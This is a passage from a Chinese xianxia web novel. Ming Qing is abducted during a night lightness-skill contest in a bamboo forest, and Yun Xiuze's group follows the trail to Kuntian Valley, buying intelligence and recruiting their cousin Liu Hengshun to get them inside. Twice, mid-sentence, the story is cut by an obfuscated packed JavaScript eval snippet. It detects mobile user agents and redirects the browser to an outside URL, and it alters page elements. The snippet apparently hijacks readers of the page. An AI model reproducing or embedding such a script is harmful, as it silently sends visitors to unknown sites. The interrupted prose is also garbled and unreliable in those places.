云修泽笑着看她动作,又随便拿了个被他们弄来烧火的竹段放在手中把玩,他闭着左眼,将中空的竹节放在右眼上,转头将明青圈了进来。 “我小时候,有很长一段时间都是在竹林里生活的,所以今天睡在这片竹林里,其实还挺放松的。” 明青没去管他的动作,仍然看着前方。 “看出来了,你跟竹子很有缘分。” 他的字是子竹,而刚刚云修泽一个人站在竹林里,不说话,收敛了气息就真的跟个竹子一样,让明青都晃了下神。 “像根竹子。”她接着说道。 “哈哈,我小时候要是听人这么说肯定很高兴。” “为什么?” 云修泽闭着眼睛放松的靠在了树上。 “我的轻功就是在竹林里练的,母亲曾把我扔进竹林里,让我不练的像根竹子就不许出来,那时候要听到这话,可不就高兴坏了。” “那你练了多久?” “几年吧,记不清了。” 明青有些惊讶,转身道。 “那你岂不是好几年都没出竹林?” 云修泽睁开一只眼睛看她,似笑非笑的说。 “心疼了?没事,我不是一个人,我师傅陪着我呢。” 明青瞟他一眼:“油嘴滑舌。” 两人安静了一会儿,云修泽看着天上还算明亮的星星,忽然问道, “那你呢?” 明青看他,云修泽回看过去。 “那你呢?你的轻功是怎么学的?我看你的武功陌生的很,如此厉害,断不应该籍籍无名才是。” “你想试探我的底细?” 云修泽双手做投降状,无奈笑起来。 “天地良心啊姑奶奶,我这就是纯粹的同伴之间友好交流,你心真脏。” 他说到最后,还不忘顺便泼个脏水,明青轻轻哼了一声,也不知信是没信。 “你的身手也很厉害,怎么也名不见经传。” 云修泽无所谓再给她展现点诚意。 “我们家隐世而居,轻易不涉世事。” 他说到这个地步,明青也没再追问他们为何参与镜双子的事了,组织了下语言便说道。 “我家里人不想让我练武,我不愿意,偷偷跑出去,被个高人看中收做了弟子,木已成舟,他们便拿我无可奈何。” 云修泽看她的眼神掺杂了几分惊奇,没想到她还能干出这事儿来,明青被他看的有些别扭,转过身去不再理会他。 火光将他们这一片地方照的很亮,可再远一些的地方,就黑的不见五指。 竹子生长的速度很快,如果仔细听去,甚至能听到它们拔节的声音,云修泽家后山的竹林都是些灵竹,倒是跟这里的普通竹子不一样,但竹林终究是他的主场,他的心神一动,突然提议道。 “之前受场地所限,不好发挥,不若今日你我再比试一番轻功如何?” 他心血来潮的提议,她没什么挣扎的附和。 “可以,叫人起来守夜,我们走远些。” 云修泽一手撑地,利落的站了起来。 “我去叫青玉。” 还没等他走到帐篷边,行愿就先一步掀开帘子走了出来,他提着刀,穿戴却不算整齐,显然是因为过于警惕,被云修泽靠近帐篷的脚步声临时吵醒的。 他先是看了眼唐思月睡觉的地方,见没什么意外,才回过头看向云修泽。 云修泽在心中暗暗惊讶他的警惕,面上却没有显露出来,他和行愿说两人准备去比试一番,本来想叫云修云,可既然他醒了,就麻烦他先行守夜。 行愿点了点头没说话,拿着刀坐到了火堆旁边。 云修泽转身看向几步外站着的明青,微微弯腰,伸手笑着说了一句请,话音没落地,他就已经失去了踪影。 明青并不意外,在他消失的下一瞬间,也迅速提气消失在原地。 云修泽在竹林里奔袭,周围竹子的气息让他感到亲切,他身法飘逸,在竹身借力,竹子也只是轻轻摇晃,没有发出太大的声音,转眼间,就和他们扎营的地方离了好远,但他并没有放松,他知道,他还没有甩开明青。 果不其然,明青很快就跟了上来。 她的轻功可以用‘诡谲’二字来形容,在竹林中,如果说云修泽还算是直线前行,那明青便是围绕着他,在他两侧辗转来回,时高时低,如果不用灵力,肉眼所能捕捉到的,就仅仅是她的残影,两人较劲,可谁也不能快出谁多少去,明青在行进中还不忘扬声控诉他。 “耍赖!” 云修泽嘴角一勾。 “冤枉,君子如竹,我可是先说了请的!” “哼,君子。” 云修泽的余光中瞥见什么动了动,却是一根竹子倒在了他前进的路上,他险险避过,被她气笑了。 “你还说我,现在是谁在耍赖?” 明青的声音远远传来。 “赢向来不择手段。” “这可是你说的。” 云修泽轻声呢喃,下一秒便随手抓了几片落下的竹叶,注入灵力扔飞刀一般扔向了明青所在的地方,明青身形翻动,竹叶紧擦着她的身体钉入了她身后的竹子,两人你来我往,彼此之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风轻轻吹过,细竹微微摇摆,竹叶摩挲响动,明明是一派和谐安然的氛围,云修泽却一把抽出了褚闲,对着竹林严阵以待,喝道。 “谁!” 明青也迅速靠过来,与他背对着警戒。 有人轻轻念了一句什么,随即云修泽便听到了嗡嗡的声响,两人脚下瞬间展开了一个法阵,头顶也泛起几个光圈,一个接一个的由小变大,落到了地上。 在第一个光圈出现的时候,云修泽便暗道不好,两人第一时间合力向外冲去,却只撞在法阵的边缘,发出一声巨响。 光圈落下的速度很快,每落一层,云修泽便觉得身体沉重一分,直到最后一个光圈融进脚下的法阵,两人就彻底被压在了地上动弹不得。 云修泽咬着牙紧握褚闲,一次又一次的用体内的灵力冲击着法阵,暗处的几个人走了出来,他们穿着朴素,没有蒙面,气质倒显得有些正派。 明青紧紧盯着他们,云修泽被压在地上,实在给不出什么好脸色,狞笑着出声询问。 “几位是何来意啊?何不先谈谈?如此偷袭可不算是君子所为啊。” 他迅速打量过几人,这几人身上法修的特点十分明显,和唐家那伙妖族没什么关系,就是不知道是不是因为凤冠来寻得仇。 为首的人竟真的因为这话动摇了几分,他们互相看了看,还是没有放开他们,但是却减弱了不少压力。 几人围过来想做什么,却不想云修泽和明青一下子冲破了法阵。 法阵控制发生变动的一瞬间会有一个细微的突破口,只要能掌握好时机,就能轻松破阵! 云修泽就是抓住了这个机会,不过没想到明青的想法也与他不谋而合。 云修泽并没有准备真的和他们‘谈谈’,反而带着满身的戾气向几人快速攻去,来人似乎并没有很意外,很快便做出了反应,有一个甚至剑未出鞘便挡住了云修泽的攻击。 明青在暗处游走,由云修泽主攻,他们打着打着,云修泽却突然觉得有些不对劲,这几人互相打配合,并没有什么杀意,反倒是一心想将他困在这片地方似的,他矮身躲避攻击,眼睛在凌乱的剑影中粗略一扫,大概只有六个人,可刚刚被困在阵中时,他明明看到了七个! 不好! “明青小心!” “什么!” 明青察觉不对,还未能转头,便被人狠击了一下后颈,眼前一黑,瞬间晕了过去。 将她敲晕的男子手急眼快,一把将她扛起来,他一击得手,围困云修泽的六人便毫不恋战,立马准备远遁。 褚闲剑身如电,快速划过几人,紧紧抵在了其中一人的脖颈上,他收紧几分,鲜血便流了出来,他阴沉的盯着几人,低声威胁。 “把她、还给我。” 被他抵住命脉的人轻轻一笑,一串咒语快速吐了出来。 云修泽双眼睁大,感觉一切都变成了慢动作,他本能的察觉到了危险,想要逃离,却根本来不及动作,一个和刚才一般无二的阵法转瞬间就在他的脚下成形,身前的人几步就轻松越了出去,可他却像刚才一样猝不及防的被拍在了地上无法动弹。 那人意味不明的笑了笑,招了招手,几人便带着晕厥的明青几个起落消失在云修泽的眼中。 他趴在地上双眼赤红,整个人用力到身体微微发抖,可他没能像刚才一样破阵,只能眼睁睁的看着明青在他眼前被带走。 靠!这几个混蛋到底布了几个法阵啊!!! 周围的竹子因为他们刚才打斗倒了不少根,发出的声响不小,留在营地的云修云三人紧紧赶了过来,却还是来迟一步。 等他们到了,就看见云修泽被法阵压在地上,不断的在冲阵,行愿将唐思月放下,几个跨步到他身边念了句什么,阵法才失去了光芒。 他上前扶着云修泽站起来,唐思月赶来为他把脉,云修云看他身体摇晃,发丝凌乱,表情也很难看,而本来应该和他在一起的明青也失去了踪影,不由得有些着急。 “来人是谁?明青姐呢?” 唐思月给他一颗药丸让他吃下,在他身上点了几下,用力一拍,云修泽便吐出一口淤血,他抹去了嘴边的鲜血,面有愠色。 “刚刚七个法修偷袭,掳走了明青,我认得他们的路数,我们改路。” 他剧烈的咳嗽起来,弯腰捂着腹部的伤口,头却抬着,看向了刚刚他们离去的方向,他带着狠意,一字一顿。 “清、秋、道!!!” 14. 孚望十四 清秋道与计都、衢州毗邻,四人连夜赶路,倒也没费得几日光景,自第一夜云修泽逞强,纵马疾驰又叫伤势加重之后,唐思月便不再惯着他,强势的让行愿将云修泽按进了马车中。 此时马车,云修泽刚刚调息完毕,睁眼就看见唐思月正挑帘向外看去,他动了动伤处,问道。 “到哪儿了?” 唐思月放下帘子过来给他把脉。 “已经到清秋道了,只是这里的地域之广比起衢州也不遑多让,你应该是知道我们具体该去何处找吧?” 云修泽一动不动任她摆弄,闻言露出了一丝微笑。 “思月灵慧,当日来人阵法使的不错,至于身手,若是认真打起来我亦有不敌,这般厉害、配合默契的人物,再加上他们所练的功法,恐怕只有清秋道了,清秋道地位超然,天下十成修法者,八成出于清秋道,我们此行的目的,就是各个门派中,最负盛名的那一个。” 唐思月从小匣子中取了些瓶瓶罐罐,倒出一些药粉,将它们按量混合在一起,加了些不知是什么的绿色汁液做成了一颗药丸送到云修泽手上,心下也有了几分了然。 “昆天谷。” “正是了。” 云修泽看着手中这墨绿色的药丸,想起那天塞进嘴里的药丸的恐怖味道,不由打了个寒颤,试探着和唐思月商量。 “思月呀,你看我好的差不多了,这药是不是......” “不可以。”唐思月的笑带着威胁的意思,语气温和的骂他。 “现在知道药不好吃了?不怕经脉逆行,一遍遍用灵力强行冲阵的时候想什么呢?明青既然已经被掳走,你乖乖的趴着就是,就算我们不来,那阵过个半个时辰也就自然失效了,你就是吃定了我在,不会眼睁睁的看着你受到如此损伤,再有下次你试试呢,我会闭上眼睛的!让你受了伤自己上一边儿哭去!” 她说话全程不紧不慢,没有太恼怒的语气,却骂的云修泽丝毫不敢还嘴,只能连连讨饶,为证决心,一脸菜色的将药丸吞了进去,见他皱着脸,唐思月最终还是没好气儿的给了他一盘蜜饯,将他打发了出去。 云修泽端着蜜饯,坐到了行愿身边,云修云骑着追云,踏风就在旁边自己跟着跑,四人没在别处多做停留,一路向着昆天谷的地界奔去。 到了昆天谷附近,它的与众不同就显现出来了,街上行走的多是带着兵器的法修,几乎看不到平常百姓,而买卖交易的也多是些修炼才会用的东西,因切磋打斗之事常常发生,甚至还专门为此设了四个台子专供约架所用,灵气充沛,也实在是修炼的好去处。 云修泽坐在马车前,侧头对着帘后的唐思月叮嘱。 “思月,你和行大哥先带着马儿和马车去找落脚的客栈,最好找大一些的,人多口杂,你安顿好了也方便打听消息,我和青玉去别处探查,晚膳时,我们会去找你们。” “好,你们多加小心。” “知道了,你们也是。” 这里的多数人都带着兵器,因此他们带着剑倒也不像在别的地方一样那么显眼,很快便没了踪影。 长期生活在这里的法修,身上总是有一种单纯的气质,这种单纯不是说他们的性格,而是他们一直以来都以修炼为最重的目标,很少会在乎其他的身外之事,因此这里也最常出现武痴。 兄弟二人走在街上,云修云总觉得有些不对劲,拿手肘怼了怼他哥。 “诶!大哥,你觉没觉得这里好多人都像是从外面来的?有不少都穿的金尊玉贵的,像是生怕别人不知道他有钱似的。” 云修泽神色不动,他也注意到了。 “恐怕是有什么事情,我们直接去这里的通神阁吧,虽说有些事情慢慢打听也能打听出来,但在通神阁买消息终归还是快些,也保真。” 两人在这附近转了一圈儿,将周围都大抵看了一下才乔装进了通神阁。 通神阁是天下第一的商会,他们的分号广泛分布于各地,而总商会则在计都。这里买卖消息、胭脂水粉、药物灵草等各种东西,可以说,除了人和饭菜,只要合乎律法,这里就没有不卖的。 兄弟二人站在十分气派的通神阁门前,看着这里迎来送往,守门的小厮都面带笑容,牌匾高高悬挂,字体苍劲有力,上书‘通神阁’,可云修云的注意力却被两侧的对联吸引了,这两句话写的不可谓不狂妄。 ‘有钱能使鬼推磨,若要通神入我阁!’ 云修泽将其看过,意味不明的轻笑一声。 通神阁有多出名,这两句话就有多出名,十几年前,通神阁刚刚成立的时候,这句话就摆在了门口,当时人们嘲笑通神阁的主人自不量力,可没成想竟真的让他办了起来。 两人进了通神阁,立马就有女使笑意盈盈的迎了过来。 “贵客安好,不知今日两位贵客来到我们通神阁是想看看什么东西?小女子可为两位安排。” 云修云不着痕迹的打量着这里,云修泽压低了声音。 “来问些消息。” 那女使面上并无异色,一般不愿露面的人来到这里,通常都是为了买卖消息,她说了一句请后,就将两人领到了第三层,这里中间的一整面墙上都是挂牌,上面写着各种信息,有的人会从中挑选自己需要的进行交换,四周都是一个一个密闭的房间,女使步伐轻巧,将两人引入到了其中一间后,就恭身退下。 房中有一套桌椅,一个长相平凡,有着眯眯眼的男人坐在桌子后面,见两人进来就起手为两人倒了两杯茶送到他们面前。 “请坐,不知两位想要的是什么消息?” 云修泽捏着眼前的茶杯轻轻转了一下,却没送入口中,忽然问道。 “这位管事不做遮掩,在这里买卖消息,不怕有人找麻烦吗?” 那管事笑起来。 “客官多虑了,我这里买卖的都是些普通消息,您若想知道什么更隐蔽的,进到第四层,接待您的自然不会是我现在这个样子,更何况我是通神阁中人,想找麻烦,恐怕还要掂量掂量。” 如此,云修泽不再多说,开口问道。 “街上来往者不少是从外地来的,近日这里可是有什么事情发生?” 管事笑容不变:“五金。” 这便是消息的价格了,如此便宜,恐怕并不是什么难知道的事情。 云修泽将钱推过去,那管事伸手一拂便将钱收了起来。 “两天后,昆天谷谷主五十大寿,大办七天,前四天对客开放,持有名贴便可入内,往来恭贺之人总是少不了的。” 原来如此,云修泽暗道,这是个大事,不怪乎那么多人聚集在这里。 “通神阁可知明青此人踪迹?女修,貌美,年二十,灵剑名为深流。” 那管事神情微微一动。 “阁中并无此人消息,若您想要追查,可将此人画像交于我们,付五十定金。” “你们能确保查到?” 管事倒也实诚,摇了摇头道。 “天下奇人何其之多,我不敢给您这个保证,但我可以给您的是,如果我们查不到,那就没有其他的组织可以查到。” 云修泽没有应下,反而拿出一张画像来交给管事,画像中的男子一双狐狸眼,头发整齐束起,他画的是那日掳走明青之人的头领,他的画工虽算不上好,但是抓个形却是足够。 “此人你可识的?” 管事打量了一会儿,抬头笑眯眯的说:“八十金。” 等云修泽将钱付了,他就爽快道。 “此人是昆天谷内门弟子,许知夏,剑名万松,善阵法,实力很是不俗。” “昆天谷...果不其然。” 他们抓明青干什么?正值谷主大寿,可是与此有关? 各种心思在云修泽心中划过,还没等想出个所以然,就听那管事继续道。 “不知两位可还想再知道点儿什么?” 云修泽带着云修云起身,道。 “不用了,这些就够了。” 管事也跟着站了起来冲两人浅浅躬身行了个礼。 “两位慢走不送。” 以防万一,两人出了通神阁还是绕了不少路才解了装束,等他们找到客栈中的唐思月和行愿时,正值黄昏过半。 这个客栈的名字说来也巧,名为云来,寓意客如云来,不知是不是唐思月促狭,选了这么一家客栈。 不过这也的确是最大的一家了,一楼厅堂是饮茶听书的,二楼用饭,三楼往上就是给住店的客人准备的。 唐思月和行愿正坐在一楼靠窗的位置。 兄弟二人没有马上上前,云修云倒是很不高兴的想往前去,被云修泽一把拉了回来,他们就在一个不起眼但是能看到唐思月他们的地方坐下,云修云被他强制按在凳子上,眉头都皱起来了,不解道。 “哥你干嘛,没看见思月正在被骚扰吗?” 骚扰其实说不上,没人会在昆天谷附近干这种蠢事。 唐思月两人坐的比较显眼,如此一来,尽管蒙着面,思月的出众还是吸引了不少人的视线,云修泽两人旁边的一桌人,就正看着唐思月的方向小声说着什么,云修泽要了一碟儿点心和一些瓜子,装作随意唠嗑的模样,给旁边的人抓了一把。 “诶老哥,你们聊什么呢?怎么感觉这里气氛怪怪的?” 那人也没多想,随手嗑了起来,脸上有些得色,抬起下巴指了指唐思月那边。 “看见没?那边那姑娘,绝色佳人啊!都这个时辰了,平时哪有那么多人在一楼喝茶,今天坐满了,可不就是冲着她来的。” 这里的确人满为患,很大一部分时不时的会看向唐思月,都很安静,像是不敢唐突佳人,只能听见小声的交谈,连干着活的小二都红着脸不住偷看。 “这不都蒙着面了,怎么就如此肯定是绝色佳人了?” 那人一副这你就不懂了的表情。 “你们这种毛头小子还是太年轻,莫说体会那半遮不遮的美,这姑娘气质温婉,身姿上佳,便是露出来的眉眼都可以说是板上钉钉的美人,遮住的也绝不会差!” 云修云不耐烦听个陌生人在这里对唐思月的姿色评头论足,本想打断他,却被云修泽在下面踩了一脚威胁他不许捣乱,他的表情扭曲了一下,天知道云修泽用了多大的力气,不敢说话就只能悲愤的扭过头去以示抗争。 云修泽也没管他,装作了然道。 “哦~原来是这样啊,您认识现在正和这姑娘说话的人吗?” 那人啧啧摇头。 “那是向家的小少爷,平日里吃喝玩乐,最爱美人,修为不怎么样,但人家家大势大,家中不如他的,倒真不能拿他怎么样。” 云修泽的表情淡了下去,人对于美向来是想占为己有的,美人不少见,平常对待其他姑娘,恐怕没有今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950941|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般客气,之所以这里满厅的人都持观望态度,仅有现在这一个上前搭讪的,就是因为她的美超出了大部分人的自信,和欺软怕硬是一个道理,过于脱俗,反倒让人不敢上前。 这位向少爷相貌倒是清俊,今日约着一众好友来客栈吃饭,刚刚进门便发现了窗边的唐思月,他几乎一下就被迷住了,为了确保美人是自己的,还不惜将随他来的三五好友全都打发,自己整理了一下衣裳,就带着自认潇洒的笑意上前搭话。 “这位姑娘,鄙姓向,是向家嫡子,今年正准备求师昆天谷,今日得见姑娘,不知为何总觉面熟,修法之人讲究缘分,不知可有荣幸请姑娘到楼上小聚。” 唐思月眉眼弯弯,也没请他坐下,只是意味不明的笑了一下,轻声细语的说。 “求师昆天谷啊,那看来向公子很厉害啊。” 她的声音清婉,如若刻意说些什么,便更加醉人心曲。 这个向公子其实对自己的实力并没有什么信心,但美人如此说了,无论什么都在此刻被他抛到了脑后,他脸颊飘红,就差拍着胸脯证明自己。 “正是!若是姑娘愿与在下交个朋友,在下定然会保护好姑娘的安危!” “既然这样。” 唐思月垂下双眼,露出几分柔弱姿态,指了指坐在对面的行愿。 “公子可愿与我这护卫比试一番?若是赢了,我自然随公子小坐,可若是输了,咱们说好,可不许再来找我了,下次见面就全凭缘分,我相信公子会守信的,是吧?” 她这么一指,这个向少爷才发现对面竟还坐着个人,戴着面具也看不清模样。 他没太将他放入眼中,紧盯着唐思月,只觉得着魔了一般,什么都愿意应承她。 “好!姑娘稍待,我带他去外面,姑娘可莫要怪我手下不留情,弄伤你这护卫。” 唐思月笑眼相看,没有说话,一旁的行愿提着刀站起来,很是熟练的跟他到外面去了。 云修泽身边的人嗑完了一把瓜子,说道:“啧啧,又一个。” 云修泽立马将话接上了:“怎么说?” 那人就是在看乐子。 “你当这个是第一个上前搭讪的呢?前几个都是这样被打发走的,那护卫瞧着没什么动静,可实际却是个厉害人物,这会子竟没有一个能在他手底下撑过半柱香的,哝,这不就又回来了。” 向少爷更好打发些,不过几句话的功夫,行愿就提着刀原模原样的回来了,那向少爷不知是守信,还是怕丢人,竟真的没有再进来。 人也打发完了,云修云拍拍手上的残渣,正准备上前,一个猛子又被他哥薅了回来,旁边那人乐了,摇头道。 “第七个。” 行愿刚刚坐下,又有一个风流公子上前,这个倒是有些不同,看他的脚步就知道这不是个草包,手中握着一把折扇轻轻摇晃,到了唐思月面前啪的一收,十分有礼的问。 “这位姑娘,不知在下可有荣幸与姑娘同坐?” 唐思月看了他一会儿,竟真的邀请他坐下,这是之前的人都没有的待遇。 云修云面色不虞:“哥,你干嘛在这里问这些有的没的?” 云修泽闭上眼,一只手撑着桌子,手放在眼睛旁边揉了揉。 “你也不想想,思月平日里都是挑不起眼的地方坐,最大程度的不引人注意,今日这样,其一是因为她想探听的恐怕已经探听到了,为了让我们能最快知道她的所在才坐的那么显眼,其二也有可能是有什么别的目的,特意如此,我们先观望观望再说。” 就算他这么说,云修云的心情也还是不大好,毕竟没人能看着心爱的姑娘被这样打扰还无动于衷。 唐思月不知和那人说了什么,两人倒像是相谈甚欢,竟真的起身要向楼上去。 云修云瞪大了双眼,唐思月在楼梯口隐晦的和二人对上了视线,轻轻一笑,就随那公子上了楼。 楼下的人登时哗然,云修泽不知怎么了,也低低笑了两声,样子显得十分愉快,一口将手中的茶饮尽了,站起身,道。 “走,我们跟上去。” 云修云的心情复杂,总归开心不起来,闷头跟着他上去,两人招来一个小二,云修泽直接就问。 “我姓云,唐小姐的包房是哪间?” 云修云原本以为小二不会搭理他们,可没想他倒十分热情。 “云公子是吧?唐小姐刚刚叮嘱过我们,二位请跟我来。” 云修云一头雾水,他知道自己什么都不爱多想,说好听了是心思单纯,说不好听就是愚钝,可这一来一回,唐思月和他大哥好像就在那一眼中完成了一些交流,他却什么都不知道,难免感到失落。 本来走在他前面的云修泽十分了解他这个弟弟,回头一把将他揽住,兄弟二人亲亲热热的挨在一起,于是云修云又觉得没什么了。 两人一路跟着小二来到了一个包厢前,推开门,唐思月正坐在那里说着什么,行愿站在她身后,那风流公子就背靠着窗户,看着唐思月,仍然摇着那把折扇,见他们进来,就抬头看来,露出了惊讶的神色。 他的双眼是典型的桃花眼,眼角有痣,二十三四岁的样子,是个笑面郎君。 几人面面相觑,他的笑容最先加深,扇子又被他啪的一声收了起来,他拿着那把扇子对着云修泽点了两下,做足了风流公子的姿态,朗声笑道。 “云—子—竹!” 15. 孚望十五 他这么一叫,除了云修泽本人,剩下几个都面露惊色,倒是云修云,短暂的惊讶过后,打量着眼前的男子迟疑的开口。 “......伯言哥?” 那男子绕过桌椅两三步走上前来,闻言拿着扇子‘铛铛’就是给他的头来了两下,语气悲痛万分。 “好青玉,几年都没来看我,现在竟连你伯言哥这个人都忘了?唉!真是世事无常,人心难测呀!” 这词哪里是这般用的,云修云暗自腹诽。 那折扇看着轻巧,实则是用一种外形似玉的薄铁制成的,窄窄的扇骨间,恐怕还有别的机关巧思,就连扇面也只是看着脆弱罢了,整把扇子实则是一个杀人利器,重量哪里轻的了。 云修云见面就被他锤了两下,虽然委屈,可他没能将人认出在先,此时见了故人,又不免有些高兴,揉了两下被敲的地方,还是一派亲热的凑上前去抱了一下。 “柳伯言你要脸不要?明明当时是你自己听说你爹弄了点儿新鲜玩意儿回家,话都没与我们多说几句就跑回家去了,结果呢?” 云修泽绕过挨挨蹭蹭的两人,坐到唐思月面前给自己倒了杯茶,摇头笑骂。 “结果还不是被你爹骗到了,为了让你这个脱缰野马自觉回家,柳伯父真是煞费苦心,将你关在家中修炼,磨练性子,一关就是好多年,谁都不许见,好大的脸来怪我们没去看你!” 被他叫做柳伯言的男子笑嘻嘻的凑过来,毫不见外的拿起云修泽刚刚给自己倒的茶喝了一口。 “瞧你说的这叫什么话?你姑姑是我娘,你若真的有心来看我,哪有进不来的?” 他不提还好,他一提,云修泽的脸唰一下就垮了下去。 “你还好意思说,你干什么坏事都非拉我一份,我姑姑那么温柔一个人,被你气的,拿着绒鞭满院子追我们打,要不是托你的福,我恐怕这辈子都享受不到这个待遇。” “哈哈哈哈哈哈哈哈哈,多好!!!” 云修云也已经坐了下来,正小声的和唐思月说些什么,柳伯言看着他们眼神动了动,还没等他说什么,一旁的云修泽轻咳了两声,将众人的视线吸引到他身上,他对着唐思月介绍说道。 “思月,这是我们的表兄弟,姓柳,名恒舜,字伯言,平日里最是浪荡不羁,没个正形,但却是个可以信任的,如果他刚刚有所唐突,还望你原宥一二。” 他又为唐思月介绍道。 “这位是医毒世家,唐家的嫡小姐,唐思月,背后是她的护卫行愿大哥,现下正与我们同行。” 行愿在她身后抱了抱拳,唐思月站起来轻轻向他伏身。 “思月见过柳公子。” 向来最烦世家礼仪的柳恒舜也面色恭谨,规规矩矩的向她还了个礼。 “唐姑娘,刚才不知真身,言语多有轻浮,还望姑娘原谅。” 唐思月轻声示意无碍,两人来回客气了一番。 云修泽还是第一次见自己这位表兄如此像个正人君子,也不插话,只管双手抱胸,坐在一旁看乐子,云修云看着这一个两个全是大爷,无奈的摸摸肚子,务实的出去传饭了。 等菜上齐,唐思月就将面纱摘了下来,云修泽几人倒是很习以为常,可柳恒舜是第一次见她真容,他呆愣了一会儿,不知从哪儿又将刚刚收起来的折扇掏了出来,出神的摇晃了几下,口中轻轻呢喃道。 “...百媚...坐中生......”【注1】 他的眼中并无亵渎之意,唐思月也就垂目一笑,并未多言。 见他这副摸样,云修泽面上不动声色,可心中却暗暗想道,伯言是实打实风流蕴藉的人物,百花丛中过,何等美人未曾见过,看似多情罢了,他之前演与明青的浪荡子就是在学他这表兄,可如今他这表现,可与平日有所不同。 想到这儿,他感到有些头疼,偷偷去看云修云的反应,让他惊讶的是,云修云并没有出现预想中蔫头耷脑的样子,反而正襟危坐,神色认真,他之前特地要了一壶酒,现在正为柳恒舜斟满一杯,给云修泽和自己也添了一杯后,就拿起酒盅向他敬酒。 “伯言哥,你我兄弟三人多年未见,如今却是机缘巧合的碰上了,如此缘分,当满饮此杯才是。” 柳恒舜的思绪被他拉了回来,云修云在他的印象中还是那个跟在他们两个身后跑,被舅母打扮成女孩子的小人儿,如今虽未及冠,但少年灵动,有模有样的向他敬酒,一时间,欣慰之情倒是占据了上风,他爽快的拿起酒杯,与两兄弟共饮。 “哈哈哈!如青玉所言,正该如此!” 云修泽一杯饮尽,没有再多说旁的,直言问道。 “你怎么在这里?姑父舍得放你出来了?” “唉!” 柳恒舜又给自己倒了一杯。 “这不是昆天谷谷主大寿吗!我家祖父年轻时与他有旧,父亲又有琐事缠身,无法远行,这才交代我带着族中子弟前来贺寿,托他老人家的福,我才能出来透透风,不然谁知老头子打算把我困在那一亩三分地到什么时候!” 他摇着头,颇为苦恼的样子,他生的好,做出这幅姿态,一般女子见了都忍不住为他心忧,可这一桌子哪个不是姿容上佳,倒是媚眼抛给瞎子看。 “竟是来贺寿的......” 瞌睡了送枕头,巧无再巧,云修泽捏着杯沿,让酒杯在桌子上轻轻转动,看向唐思月问道。 “你刚刚坐的那么显眼可是为了这个?” 唐思月正夹菜,闻言不紧不慢的点点头。 “昆天谷不比百宝坊,不是那么轻易能混进去的,名正言顺的跟着贺寿的宾客进去才是上策,他们发出的名帖都是含有主人家灵力的,取而代之的风险性极高,若说偷偷进去,更是想都不要想,我坐在那里等你们,正好钓鱼了,柳公子很合适,只是没想到你们认识。” 云修泽取笑的看向柳恒舜。 “愿者上钩的钓法,来的可不正是条自投罗网的大鱼。” 柳恒舜何其了解云修泽,听到这里哪还有不明白的,当即一个闪身就要夺门而去,却不想行愿已经悄无声息的将门封上! 此路不通,尚有窗户可行,他试图翻身逃走,打眼一看,云修泽早就抱剑守在窗前笑眯眯的等着他了。 柳恒舜知道逃也逃不掉了,只能站在原地,无奈的叹了好长一口气,怒骂道。 “云子竹你个无赖!!!你想干什么?怎么现在胆子如此之大,竟要混进昆天谷?这就算了,你竟然还想拖我下水!!!” 云修泽完美预判,正是一脸得意,他揽过柳恒舜的肩,推着他将他重新按回了座位上,一脸惊讶的问他。 “兄长何出此言啊?你我兄弟如何还说这些生分的话!互帮互助不是长辈们从小就教导我们的吗!” 柳恒舜:(?_?) “噗。” 唐思月被他们逗笑了,她一只手放在嘴边,眉眼舒展,头上的珠钗也随着她细微的抖动发出铃铃的轻响,有一缕长发从她的肩后滑到身前。 “柳公子,真是对不住,原也是想请你帮这个忙的,你既不愿,我们还可以再商量商量。” 几人被她吸引了视线,柳恒舜无言的看了她一会儿,突然泄了力趴在桌子上,闷声投降。 “看在唐姑娘的份上。” 他为美人妥协,云修泽毫不意外,他暗暗给了唐思月一个‘干的好’的眼神儿,唐思月微微一笑成功接收。 旁边的云修云这会子压根儿没管他们,不动如山的坐在那里吃他的菜,见柳恒舜这样,也忍不住嘲笑起来。 柳恒舜深吸一口气,恹恹的坐起身来。 “说说吧,几位祖宗,非得混进去的理由总得告诉我吧?” 云修泽又倒了杯酒饮下,表情淡了下去。 “我们本是五人同行,几天前,有昆天谷的人掳走了我们一个同伴。” 柳恒舜揉了揉额角,颇有些头疼,问道。 “是可托生死的好友?” 云修泽顿了一下,将酒杯送至唇边,模糊不清的说。 “不算。” 柳恒舜眉头微微一跳,这倒是有些出乎他的意料,他这表弟,看着重情,实则很多时候都是冷眼旁观的那个,最是懂得明哲保身,如今为了一个没有被他圈入中心领地的同伴,竟想要冒这么大的险,不由得来了些兴趣。 “哦?这可不像你啊,莫非那位同伴......”他又支棱了起来,表情促狭“是位姑娘?” 云修泽捏着酒杯,转头看向窗户,默不作声,倒是旁边的云修云不住的点头,这下哪里还有不明白的呢,柳恒舜又展开扇子得意的摇起来。 “哈哈哈哈!你小子!竟也有为情所困的一天!” 见他说话越来越没谱了,云修泽低声骂道。 “胡说些什么!她在我眼前被抓走,我自然不能放任不管!” 柳恒舜一脸看透他的表情。 “得了吧,我还不知道你,人家既然将她抓走,也没伤你性命,那多半也是不会伤害她的,何须你在这里火急火燎的。” 云修泽虎着一张脸。 “你就说这个忙你帮不帮吧?” “唉!帮帮帮,瞅你这不耐烦的样儿,要不是看在唐姑娘的面子上,我才懒得理你,咱们可说好,若是你们暴露了,可不许攀扯我。” 他的眼睛一转。 “祖父与谷主交情匪浅,我自是第一天就要进谷的,此次我带了一些族中子弟,另有一些丫鬟护卫,子弟名额都是记录在册的,你们三个想要混进去就只能扮作护卫,乖乖叫我一声少爷了!” 他故意贱嗖嗖的取笑,又转向唐思月,一脸歉然的温声说道。 